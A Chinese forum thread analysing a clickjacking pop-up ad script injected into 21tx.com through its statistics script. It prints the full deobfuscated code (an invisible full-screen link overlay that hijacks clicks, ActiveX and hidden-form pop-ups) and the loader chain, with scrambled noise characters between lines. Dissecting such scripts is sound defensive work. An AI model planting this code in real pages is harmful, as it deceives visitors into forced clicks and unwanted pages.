国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
! p& k, q" U& G' y- C3 U- mhttp://www.21tx.com/ 天星网
我得联系联系作者
刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
* N& ?' K. A* S) m$ |+ U1 |http://www.lxting.com/script/popup/v1_min.js
& u- O5 _' {6 z- F4 Y  M. x
这个是锁定到底JS脚本，
解密后的代码

1. (function() {
   ) l7 w4 ?! W5 ]# G+ \* x7 A
2.     var aa_url = window.ytpp_url;
   " h, M6 Z1 F3 E, l
3.     var ua = navigator.userAgent;
   6 \5 n$ u. F5 S1 _$ i
4.     var form_div = document.createElement('div');
   
5.     var form_pd = 0;
   / T; F/ n6 M" D
6.     var browser = {
   / W' h, ~7 \1 W- H
7.         ie: /msie/i.test(ua),
   
8.         ie6: /msie 6/i.test(ua),
   
9.         ie7: /msie 7/i.test(ua),
   
10.         ie8: /msie 8/i.test(ua),
    & A, n% R* A. A* ~
11.         ie9: /msie 9/i.test(ua),
    
12.         360 : /360se/i.test(ua),
    
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    ( I. q. o) X& g; B9 d( u
14.         maxthon: /Maxthon/i.test(ua),
    % X) c# i1 ?. r9 M- c
15.         tt: /TencentTraveler/i.test(ua),
    $ R$ Q2 T( X- @# v5 Y5 W
16.         ff: /firefox/i.test(ua),
    8 w# T2 u8 |, S" j! B
17.         webkit: /AppleWebKit/i.test(ua),
    7 H9 i. c6 L7 A" v
18.         opera: /Opera/i.test(ua),
    1 Y) s% o: f; m1 q' O0 p
19.         qqbrowser: /QQBrowser/i.test(ua),
    
20.         cr: /chrome/i.test(ua),
    : M/ |! B8 }  K' b7 M
21.         gg: window.chrome,
    " T, B, ^0 @$ a' a. I/ b, M
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    
24.     var _setting = "";
    ! B! X$ D7 E8 C: J. y: l/ o. C
25.     var _ct = 0;
      Q/ @( x7 I) q
26.     var _le = 0;
    
27.     var _pd = 1;
    
28.     var _pd2 = 0;
    
29.     var _pc = 1;
    
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    
32.     var _pta = 0;
    ; Q2 l' \: ^' w% [( H2 I
33.     var _ptb = 0;
    # f$ d1 Y, w1 k) j
34.     var _pt2a = 0;
    
35.     var _pt2b = 0;
    
36.     var _pt3a = 0;
    
37.     var _pt3b = 0;
    
38.     var _pt4a = 0;
    
39.     var _pt4b = 0;
    1 |/ g2 `) D" v* I6 H  j
40.     var _pt5a = 0;
    
41.     var _pt5b = 0;
    
42.     var _pt6a = 0;
    
43.     var _pt6b = 0;
    
44.     var _pt7a = 0;
    
45.     var _pt7b = 0;
    . c$ `( |; d. J
46.     var _pt8a = 0;
    
47.     var _pt8b = 0;
    - Z) z& H: o3 K1 p9 P
48.     var _pt9a = 0;
    , m1 U$ H# r' ]1 x; K
49.     var _pt9b = 0;
    3 m7 s, Q/ K8 f- O/ J
50.     var _pt10a = 0;
    
51.     var _pt10b = 0;
    * u! l2 g7 r0 Z  M: L; S8 P/ O8 _& D3 `
52.     var _po = 0;
    
53.     var _poo = 0;
    
54.     var ckn, ckt;
    : n1 d" `% T4 ^
55.     var ads = 0;
      y$ {, {$ E. D% H9 h' ]) x1 ]* \
56.     function b(w) {
    2 x% m6 o6 L# |- V
57.         var s = w + "=";
    
58.         var r = "";
    
59.         var o = 0;
    ' X6 W8 G& ]  @1 S" T" z1 w6 G, c( @
60.         var d = 0;
    
61.         var p = document.cookie;
    4 L8 x3 h/ t! L, c0 r% @
62.         if (document.cookie.length > 0) {
    
63.             o = document.cookie.indexOf(s);
    
64.             if (o != -1) {
    
65.                 o += s.length;
    
66.                 d = document.cookie.indexOf(";", o);
    
67.                 if (d == -1) d = document.cookie.length;
    - I: X( p2 d: |3 B8 B# l8 b  x% S. f5 ?
68.                 r = unescape(document.cookie.substring(o, d))
    
69.             }
    
70.         }
    # Z- v: g* q3 o* D8 ~
71.         return r
    0 A# `# X# e4 o: E3 C& f* }
72.     };
    8 H( g! z6 @; a! Y
73.     function p(w, p, v) {
    
74.         var t = 30;
    
75.         try {
    7 x  [0 t* }# B8 i+ V  W6 g' K! q) X
76.             t = parseFloat(p) * 1
    
77.         } catch(e) {
    / N$ d# T$ v, h) x( {( L# ?
78.             t = 30
    
79.         }
    / d1 ]6 B6 T  I
80.         if (isNaN(t)) t = 30;
    # y7 T( Q9 e3 P7 s4 R0 G
81.         var then = new Date();
    
82.         then.setTime(then.getTime() + t * 60 * 1000);
    
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    
84.     };
    . L4 p! h4 q1 g  N
85.     function init() {
    1 Q1 z1 M+ Q6 c% {4 S. T
86.         _setting = ytpp_sti;
    
87.         if (getp(_setting, "CT")) {
    / |' j' C: [! L9 ?( U- y
88.             _ct = getp(_setting, "CT")
    
89.         }
    
90.         if (getp(_setting, "LE")) {
    
91.             _le = getp(_setting, "LE")
    8 \9 H6 [8 a" @- I- @! s- U& e
92.         }
    , h8 }$ Y+ }8 }1 c* i
93.         if (getp(_setting, "PD2")) {
    
94.             _pd2 = getp(_setting, "PD2")
    , ~& u, d% O" S6 N1 J1 x
95.         }
    3 \, ]" Z- s: b. `
96.         if (getp(_setting, "PC2")) {
    
97.             _pc2 = getp(_setting, "PC2")
    
98.         }
    
99.         if (getp(_setting, "PCO")) {
    0 q6 ?3 O+ ^, d& a. i
100.             _pco = getp(_setting, "PCO")
     
101.         }
     ; T. X+ r" [( E5 W  k5 o  D
102.         for (var i = 1; i <= 10; i++) {
     
103.             var n = i == 1 ? "": i;
     . X$ d: D* N3 k( z7 N! @
104.             if (getp(_setting, "PT" + n)) {
     : h7 a+ {; n+ k6 E+ l
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
     
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     
108.             }
     
109.         }
     " Z8 T# g3 ^( N# j7 k
110.         if (getp(_setting, "PO")) {
     ! S; W$ U4 {, D; o/ V
111.             _po = getp(_setting, "PO")
     
112.         }
     
113.         if (getp(_setting, "POO")) {
     + X6 O5 }3 y# N
114.             _poo = getp(_setting, "POO")
     
115.         }
     . w: X% e, F& B, I. h5 Y+ Q
116.         if (_pco == 1 || _poo == 1) {
     
117.             if (_poo == 1) {
     
118.                 _pco = 0
     . k! E. {/ C5 @: i
119.             } else {
     : a. o, j8 m2 C/ s: B: U
120.                 _poo = 0
     , u' W! E$ j. ^/ `( G
121.             }
     , x" X8 J- ]3 G, ]; G
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     6 ]( q  z8 v+ E( P5 s
123.             for (var i = 2; i <= 10; i++) {
     
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     
125.             }
     
126.         }
     - r  P& ^" N0 Q3 R: M
127.     };
     
128.     function getp(s, p) {
     ! `: i+ |, ?5 f. ^. h/ q
129.         var i = s.indexOf(p + ":");
     % z6 L$ e" X% H3 f- J) f
130.         if (i >= 0) {
     
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     " @5 ]* w  D0 j9 R  N
132.         }
     
133.     };
     # t  h9 {) b7 j, \/ v
134.     function event(e, event, func, act) {
     
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     3 E6 f' l! I" g9 v7 d
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     
137.     }
     
138.     function pop(url, param) {
     
139.         if (!document.body) {
     
140.             return setTimeout(function() {
     " d) K. E6 b0 u$ y$ j' w
141.                 pop(url, param)
     
142.             },
     ) q2 _, l4 @# H% n  g) E" I- E, d
143.             13)
     3 a6 v* s; \5 T; A
144.         }
     : h( g* L! l. ~
145.         try {
     0 [, l3 N4 q: Z7 ]8 U/ r
146.             if (browser['cr'] && browser['gg']) {
     + F8 Q/ H0 Z9 I: s7 Y7 z3 v
147.                 try {
     
148.                     hrefopen(url)
     . Y+ O" v& z' L4 ^  O
149.                 } catch(e) {
     " v% X# Q  Y, j: @
150.                     a_pop(url)
     3 m8 ]) }; S8 t+ b
151.                 }
     
152.             } else if (browser['webkit'] && browser['maxthon']) {
     
153.                 if (!func(url)) {
     
154.                     try {
     1 O6 ^" y  v- X& C
155.                         form_pop(url);
     
156.                         a_pop(url)
     5 g5 f% T+ ]- l0 H+ m
157.                     } catch(e) {}
     % t$ r' B" L0 Q, I# [
158.                 }
     6 }( p$ l5 U; x8 |' ~
159.             } else if (browser['tt']) {
     
160.                 try {
     0 [3 ^# @: h- G) b* }
161.                     object_pop(url)
     
162.                 } catch(e) {
     ( i, O* k) W5 i: x( c3 z3 D  S
163.                     a_pop(url)
     8 `  c9 D( f+ a! s# @4 z/ _( @, J
164.                 }
     # D0 Y5 _! U# x' e) ?6 E3 f* |
165.             } else if (browser['sogou']) {
     
166.                 if (!func(url)) {
     ( _. S. X& L" l  [
167.                     try {
     4 y( |% N# [; y8 Q6 z
168.                         a_pop(url)
     % q& n3 v8 r+ R8 a
169.                     } catch(e) {}
     
170.                 }
     
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     
172.                 if (!func(url)) {
     & k) `5 Z* L8 f" d
173.                     try {
     * O; \9 \9 `% N1 r
174.                         form_pop(url)
     
175.                     } catch(e) {
     
176.                         click_pop(url)
     . A8 L: a+ d5 V' ?6 j( b% `! |
177.                     }
     
178.                 }
     
179.             } else if (browser['webkit'] || browser['opera']) {
     
180.                 try {
     0 A( x2 y3 m1 ?! ]1 {! G
181.                     form_pop(url);
     
182.                     a_pop(url)
     
183.                 } catch(e) {}
     
184.             } else if (browser['theworld'] && browser.ie6) {
     & m9 E" }, j3 a9 z# y+ m- Y1 j- R  `
185.                 if (!object_pop2(url)) {
     - j6 G) @8 s8 a; {
186.                     a_pop(url)
     
187.                 }
     ; e( Q  @; h8 g" j, z) o
188.             } else if (browser['theworld'] && browser.ie8) {
     
189.                 if (!func(url)) {
     
190.                     try {
     
191.                         object_pop(url)
     
192.                     } catch(e) {
     
193.                         click_pop(url)
     
194.                     }
     5 y6 w* x, [& a2 W3 D; a; t0 f# @: z; ]
195.                 }
     
196.             } else if (browser.ie6) {
     9 G- k4 \% h( X, Z
197.                 if (!func(url)) {
     
198.                     object_pop2(url)
     7 f: ^+ t  Z) f6 _" R9 ~
199.                 }
     
200.             } else if (browser.ie8) {
     
201.                 if (!func(url)) {
     
202.                     try {
     9 `+ k  ^# {+ c  q* {8 ]
203.                         object_pop(url)
     
204.                     } catch(e) {
     
205.                         document.onclick = function() {
     9 i3 z1 V% C8 d0 s0 E3 P% `
206.                             func(url);
     4 a- d+ P1 W$ M
207.                             document.onclick = null
     
208.                         }
     
209.                     }
     
210.                 }
     
211.             } else if (browser['ie']) {
     
212.                 try {
     ! S- T3 f# u8 l4 o/ a% Y0 P" [
213.                     object_pop(url)
     3 I' j  J/ u6 L/ G8 a% p) e3 o
214.                 } catch(e) {
     ) T9 G$ y/ K& k7 E* c6 l2 H& X
215.                     click_pop(url)
     ) [  x/ b2 {8 J; G9 w
216.                 }
     # |8 n0 {: `+ w, T
217.             } else if (browser['ff']) {
     ( C  g. v" e6 p( n$ x8 Z5 {* P* |
218.                 if (!func(url)) {
     # X( l6 ?5 m* V% c% N' q: K
219.                     click_pop(url)
     
220.                 }
     
221.             } else {
     
222.                 if (!func(url)) {
     
223.                     click_pop(url)
     $ {' a1 Z" S  Y/ E. w; w8 s
224.                 }
     
225.             }
     
226.         } catch(e) {
     ) T5 F  i( J. A0 k/ q# k0 S
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     % y4 D$ K! R) k% s  K$ T+ I
228.                 click_pop(url)
     1 n4 I" _: r9 t9 i% k) |
229.             } else {
     ( [0 P5 Q( {1 f2 M5 n
230.                 a_pop(url)
     5 \& `$ Y' B! @% \* p. _3 J& e
231.             }
     
232.         }
     : l. r- k9 c4 A; Q' ~, P
233.     }
     
234.     function object_pop(url, param) {
     
235.         var object = document.createElement('object');
     ; ^% o) _8 N7 m" v
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     2 ~8 f5 p; D& s2 Y+ k  B0 h
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     6 G. d! e/ k* u
238.         append(object);
     
239.         object.launchURL(url);
     ; N# ?: t& P2 v0 g
240.         ads++;
     
241.         p(ckn, ckt, ads)
     / ^+ ~6 k) w8 p* x7 V
242.     }
     1 J/ v1 W' X1 ~8 j+ a
243.     function object_pop2(url, param) {
     6 @1 b! B* V& M
244.         var object2 = document.createElement('object');
     
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     ' N0 J7 c( h% f! }0 j9 p* r
247.         append(object2);
     
248.         for (var i in object2) {
     
249.             try { (function(o) {})(object2[i])
     1 _2 K( t8 p) m  x' C5 ]. F
250.             } catch(e) {}
     
251.         }
     ' `% L- G6 t( O2 x9 u
252.         setTimeout(function() {
     
253.             object2.DOM.Script.open(url, '_blank', '')
     8 s- a6 D9 V7 s( D
254.         },
     % y" U9 y* G8 [* m9 S- h" \
255.         500);
     5 g+ x3 F0 e9 t& k# F& c3 E. v9 S
256.         ads++;
     
257.         p(ckn, ckt, ads)
     
258.     }
     
259.     function append(e) {
     - k  ~3 [9 j- Y9 l: l
260.         for (var t in {
     # R8 A' ~' S1 J7 s
261.             body: 1
     
262.         }) {
     
263.             var ele = document.getElementsByTagName(t);
     
264.             for (var i = 0; i < ele.length; i++) {
     
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     
266.                 return
     
267.             }
     
268.         }
     
269.     }
     2 e7 q( t6 n% h+ @
270.     function hrefopen(url) {
     , `8 B  n- ]$ _
271.         try {
     
272.             var c = document.createElement("a");
     % W' s1 k. Z8 u6 u) e5 _: x" l
273.             c.setAttribute("href", url);
     
274.             c.setAttribute("target", "_blank");
     - A* P- S9 p: ]
275.             c.setAttribute("style", "display:none;");
     1 r8 n4 F) \* C! H8 U- B
276.             var b = document.createEvent("MouseEvents");
     9 Z4 E& b$ U, T( f
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     
278.             c.dispatchEvent(b);
     
279.             ads++;
     / Y" P2 M' ?( N% e% M9 Q  Z8 x# U. s
280.             p(ckn, ckt, ads);
     
281.             return true
     
282.         } catch(q) {
     
283.             return false
     
284.         }
     
285.     }
     
286.     function form_pop(url) {
     : i2 C( b' \. k3 p- N
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     ' z. F  B  c0 ]7 M6 R" L+ c6 W, o. y! o
289.         var form = document.createElement('form');
     % J3 E  B3 Z2 _1 C7 j0 F: c
290.         form.setAttribute('action', aa_url);
     / ?( Y* s# q, E8 f6 H
291.         form.setAttribute('method', 'post');
     / }9 ~1 V( j% k/ W
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     $ f: y0 t1 M, k3 F0 _5 K( A) s
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     % f* J8 Z& h" O$ q- R0 i# y
295.         var sinput = document.createElement('input');
     ) e3 e/ \$ Y7 J8 b0 C8 x1 L0 `
296.         sinput.setAttribute('style', 'display:none');
     ' l, m/ R/ o! Y
297.         sinput.setAttribute('type', 'submit');
     
298.         sinput.setAttribute('id', '_sumit_2app');
     3 a1 ~3 G! c: {: F
299.         form.appendChild(sinput);
     
300.         form_div.appendChild(form);
     $ H1 n; v9 `8 o
301.         append(form_div);
     
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     
303.         try {
     . e6 z7 J3 e0 s% F" M* k
304.             document.getElementById("_sumit_2app").click()
     
305.         } catch(e) {
     
306.             event(document, 'keyup',
     
307.             function(e) {
     , R4 }9 o: e. u. v  k. M
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     
309.                     return
     ' L0 x' [* w  [) e. Y0 y& F: i" ^/ t
310.                 };
     
311.                 e = e || window.event;
     
312.                 e.canceBubble = true;
     
313.                 event(document, 'keyup', arguments.callee, true);
     
314.                 form_pd = 1;
     
315.                 unionsky_from.submit()
     
316.             })
     
317.         }
     
318.     };
     
319.     function click_pop(url, param) {
     
320.         event(document, 'mouseup',
     1 F3 }! g# c! l  [% t4 V
321.         function(e) {
     , ?0 A6 n, W7 a/ z
322.             e = e || window.event;
     
323.             e.canceBubble = true;
       h, u% Z1 q' E8 _% \) S
324.             event(document, 'mouseup', arguments.callee, true);
     0 I' F6 X$ m' d2 p
325.             func(url, param);
     
326.             ads++;
     
327.             p(ckn, ckt, ads)
     
328.         })
     
329.     };
     ; x# N: a0 j- o* R  Q" n# ]3 i
330.     function a_pop(url) {
     
331.         if (ytpp_plid == 166028) {
     7 P9 U- S; M& b1 }
332.             return
     
333.         }
     
334.         if (!document.body) {
     4 [, U% a* \! j0 W! m$ C
335.             return setTimeout(function() {
     # ~  g) d7 [' g! F
336.                 a_pop(url)
     
337.             },
     
338.             13)
     ! i6 y1 y: j  Y% r& E
339.         }
     ; N# t- \( @, d
340.         var a = document.createElement("a");
     7 Z  B) ?4 p) r, @$ n6 W9 A3 q
341.         a.href = url;
     
342.         a.target = "_blank";
     , c  ?4 d: n1 {) Z" F  L/ o" T) Q( w7 \
343.         var div = document.createElement('div');
     
344.         div.style.backgroundColor = '#fff';
     ' A$ }& b  O# `0 c
345.         a.appendChild(div);
     
346.         append(a);
     
347.         var as = a.style;
     " A( d! D/ K/ ^' y2 t% @
348.         as.position = "absolute";
     4 H# ?0 X+ ^. e9 s- ?
349.         as.zIndex = '2147483647';
     
350.         as.display = "block";
     
351.         as.top = "0px";
     0 t, a' N, Q, b$ [. {" w: F: z
352.         as.left = "0px";
     ' N) ]- ^4 S2 _) Q( {
353.         as.cursor = 'default';
     $ ?9 {) m5 v, v! g7 g
354.         as.opacity = "0";
     
355.         as.filter = "alpha(opacity:0)";
     6 g; s' I  a# X. M( ~0 K4 N' ]7 j: z
356.         var m = setInterval(function() {
     
357.             if (form_pd == 1) {
     
358.                 a.parentNode.removeChild(a);
     
359.                 clearInterval(m);
     ; ^! O/ j, l; _  D6 V
360.                 return
     : p$ \0 A9 ]& b! ], E/ ^, q8 T
361.             }
     - w. R0 }3 Z& s7 z/ T
362.             a.style.zIndex = '2147483647';
     
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
       r7 V" S& z: z- o6 G  v" f- W
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     
366.             div.style.height = d.clientHeight + 'px';
     9 [2 b% Q* j# S
367.             if (browser['ie']) {
     
368.                 try {
     
369.                     var divs = document.body.childNodes;
     ' \( f1 z9 e/ U
370.                     for (var i = 0; i < divs.length; i++) {
     3 ?6 \7 J* }1 |! h  M; a
371.                         if (!divs[i]['style']) {
     & C; B% d3 o% R- w7 p& `- R
372.                             continue
     
373.                         }
     % I+ p& R$ J! N- V) P
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     5 {6 V6 V3 N  W- x- D% Z; f
376.                             divs[i].style.zIndex = _i - 1
     
377.                         }
     
378.                     }
     3 M; w# n1 v% ^" c3 N
379.                     a.style.zIndex = '2147483647'
     , E( k- u5 x9 l4 r7 ^
380.                 } catch(e) {}
     / t4 j2 h( p: R" u8 g) l
381.             }
     : |+ y4 G% ]1 d3 s6 F* V3 r) F
382.         },
     
383.         120);
     
384.         a.onclick = function(e) {
     - E7 S7 y3 x3 q* \) A  n5 j& w
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     * z, n  }. O; X
386.                 form_div.parentNode.removeChild(form_div)
     
387.             }
     
388.             e = e || window.event;
     
389.             e.cancelBubble = true;
     " }! M. {- \2 ?' _9 e8 i
390.             setTimeout(function() {
     , D# s: s- F) e, U, U' D. @7 Y6 H
391.                 a.parentNode.removeChild(a)
     2 f% |" l0 W- K+ ~/ p; x1 F7 |
392.             },
     
393.             200);
     
394.             clearInterval(m);
     
395.             ads++;
     
396.             p(ckn, ckt, ads)
     
397.         };
     
398.         event(a, 'mouseup',
     
399.         function(e) {
     1 p8 I' a1 m3 G$ h5 z( Y
400.             e = e || window.event;
     4 T7 ?9 C) C  L; Q0 o# ?
401.             e.cancelBubble = true
     
402.         })
     
403.     }
     
404.     function func(url, param) {
     * k: W9 N/ |/ ?7 u- A( g' F. F
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
     
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     
407.         if (w) {
     ; F4 i7 i9 l3 A( y; R3 l
408.             ads++;
     
409.             p(ckn, ckt, ads)
     8 C& [4 @5 ]0 \- X% g# @
410.         };
     
411.         return w
     $ Y  P" }( r8 t7 n# d1 p; n* i
412.     }
     2 _& A1 J  h  l* Q* [
413.     function fstart(url) {
     
414.         init();
     - X2 ]8 m7 k8 a' j' y8 o1 _5 Y
415.         if (_ct >= 0) {
     
416.             ckn = "YITIAN_NUM";
     , t5 d5 a+ p# N6 \6 A, v( c
417.             ckt = _ct
     
418.         } else {
     0 ^3 E5 t9 |0 _$ s* W3 m
419.             ckn = "YITIAN_ALL";
     
420.             ckt = Math.abs(_ct)
     
421.         }
     : x1 d( n' b& D0 r; L& t( d
422.         if (ckt > 0) {
     4 y, q4 H  H& A7 H! w
423.             if (b(ckn)) {
     
424.                 try {
     2 K1 X7 X, n! k6 S, l
425.                     ads = parseFloat(b(ckn))
     
426.                 } catch(q) {}
     
427.             }
     
428.         }
     
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     ( \- I; z5 S+ t
430.             return
     ' h  W  M, F3 H
431.         } else {
     
432.             if (_le > 0) {
     
433.                 setTimeout(go(url), _le * 1000)
     & t5 ]4 l+ k* k" X! z% h. p2 ^
434.             } else {
     
435.                 go(url)
     4 H0 p0 u) b3 @* v
436.             }
     
437.         }
     
438.     }
     
439.     function go(url) {
     
440.         if (_poo == 1) {
     0 z3 s4 E3 f( }
441.             try {
     ( }1 `. K& }% K2 w# R7 E. j# R& q9 e
442.                 func(url)
     
443.             } catch(q) {}
     
444.         } else if (_pco == 1) {
     
445.             a_pop(url)
     . D( o' c- U5 q3 b( }
446.         } else {
     : p+ g1 e3 a2 v7 b
447.             if (_pd == 1) {
     7 O4 J3 z0 z+ ~7 A5 Y) c1 J! |. Z
448.                 setTimeout(function() {
     
449.                     pop(url, {
     
450.                         a: 1,
     
451.                         b: 2
     
452.                     })
     , o/ k: Y% i4 n8 V# P# o& E" C3 b' g
453.                 },
     ' E" h- s' G0 l4 F5 B
454.                 300)
     
455.             }
     
456.             if (_pd2 > Math.random()) {
     ) M3 \0 q. F' H( S0 W/ T
457.                 setTimeout(function() {
     
458.                     pop(url, {
     
459.                         a: 1,
     
460.                         b: 2
     ) [7 G8 a. N! w0 V
461.                     })
     / Z- W+ G% E0 g- S, ]4 Z
462.                 },
     $ ~8 y5 C; ]: _6 j: {7 ^
463.                 300)
     8 P* \5 F, F$ y; `% g# L: R, `, \
464.             }
     
465.             for (var i = 1; i <= 10; i++) {
     
466.                 var n = i == 1 ? "": i;
     % I1 O( L9 j4 R" I3 I1 _: a4 \; Z& q
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     
468.                     setTimeout(function() {
     
469.                         setTimeout(function() {
     7 ]& i. @0 w& I+ O  n
470.                             pop(url, {
     
471.                                 a: 1,
     / d3 y3 }: X( Q" p) |  n
472.                                 b: 2
     . E- z) P9 S8 Q% k! @! @
473.                             })
     
474.                         },
     
475.                         300)
     : }% b! X$ B( P$ L  ^
476.                     },
     7 p5 E% ]! J- d5 G3 m% W
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     
478.                 }
     : I+ |6 L; c+ F& J: w8 f- r1 E
479.             }
     4 E( ~+ F7 M7 N9 a/ z
480.             if (_pc2 > Math.random()) {
     5 ~* t& }( t# B- U7 ?6 E  J
481.                 a_pop(url)
     
482.             }
     ! i( J2 v! D, P6 U) o9 T+ s  ^1 r
483.             if (_po > Math.random()) {
     
484.                 try {
     0 J2 z7 \1 w" f% |# N. W
485.                     func(url)
     " \0 u# Z) k+ k3 {1 M2 Q
486.                 } catch(q) {}
     
487.             }
     $ ]8 \  l  h5 {, S
488.         }
     ' y% h' u$ `. i6 }# n5 e
489.     };
     
490.     fstart(aa_url);
     
491.     event(window, 'beforeunload',
     : q& R6 {" s8 ]: Y7 K
492.     function() {})
     
493. })();

复制代码

通过浏览器抓包
URL从这里产生
* u/ z+ Q% v6 H" n
' v$ z4 o! u2 l+ l, x, c7 j, ?3 n" rhttp://play.unionsky.cn/show/?placeid=141830

6 g) Q) W( T5 Y& a4 ]7 y) ]

小狠

直接打开看不到什么东西
http://www.unionsky.cn/ 是属于这个广告联盟的
' G) ~& V+ i. b1 h. `7 E我们直接分析抓包的内容

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
; y, n% }% J1 P' Kytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
# R( U+ a; [7 u# H; jvar ytpp_u = encodeURIComponent(navigator.userAgent);
var ytpp_s = window.screen.width + "*" + window.screen.height;
0 X( R/ c$ x6 K) gvar ytpp_l = navigator.browserLanguage || navigator.language;
) f0 `) p! i3 z1 x/ l0 Wvar ytpp_plid = 141830;
var ytpp_w = 0;
var ytpp_h = 0;
. ~2 N9 @. z$ e4 D+ x3 B. |/ mvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
var ytpp_ads = 14;
. z6 |1 g$ M7 f6 K+ rvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
) J2 ?" |1 j- o* Fdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

0 |6 u8 u% n7 J$ j那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
继续分析 发现这里

; E" j$ C1 G% K6 S$ ahttp://txsite.21tx.com/count/count.js
7 x! X& k% n5 @
) b& U& P; k9 M' _1 V7 x; u

txcount_uid = 1;
txcount_uh = 0;
# ~& }+ T4 [$ r. x+ H! e( B; A' N, Btxcount_uw = 0;
2 u9 W7 x5 k: d6 d/ {! itxcount_uah = 0;
8 [$ }) D% p9 D  Rtxcount_uaw = 0;
txcount_ucd = 0;
+ T* G5 I' Y/ [. \' }" R! ^( l" @, w* b& j   
1 _4 k: d. C7 ~% z; Aif (window.screen) {
  txcount_uh = window.screen.height;
+ p( x4 G: O* g9 D4 }0 a  txcount_uw = window.screen.width;
  txcount_uah = window.screen.availHeight;
8 F! j, g' W! [  A# M  txcount_uaw = window.screen.availWidth;
) ?# z  E# c' i/ g! H  ]  txcount_ucd = window.screen.colorDepth;
}
   
   
var url = "http://txsite.21tx.com/count/count.aspx";
url = url + "?u="+ txcount_uid;
5 Z1 N: U8 G0 Y//url = url + "&f=" + txcount_f;
+ f3 f! |3 V. {& T. x* Vurl = url + "&k=" + txsite_pagekey;
//url = url + "&t=" + txcount_t;
: z0 n0 h) \; B$ `8 A) Jurl = url + "&l=" + escape(document.location);
url = url + "&r=" + escape(document.referrer);
url = url + "&uh=" + txcount_uh;
/ H  R; o0 g3 ~1 c% F  Aurl = url + "&uw=" + txcount_uw;
url = url + "&uah=" + txcount_uah;
% ~; f; |  v! w! R0 D* v# Aurl = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
; `2 ?  Y* g3 s3 C2 U" S! y0 a   
3 b5 t( @: x4 z4 p8 ^) L7 a, P( z% f   
! h+ r, A, \2 wdocument.write("<script src=" + url + "><\/script>");
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
   
document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
   
   
$ `! l' ~+ A$ |# x3 A) Y) F. |document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

7 N- z! G2 }, g9 M: X一切昭然天下了。
代码产生的直接效果如下

3 n$ {/ {! D" t+ H5 @7 j4 ? <a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>

) n  z( C" u9 d9 V& ~1 i很隐秘的一段好代码
0 Q/ H6 V3 y7 f9 [( H- E, n5 K7 B

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

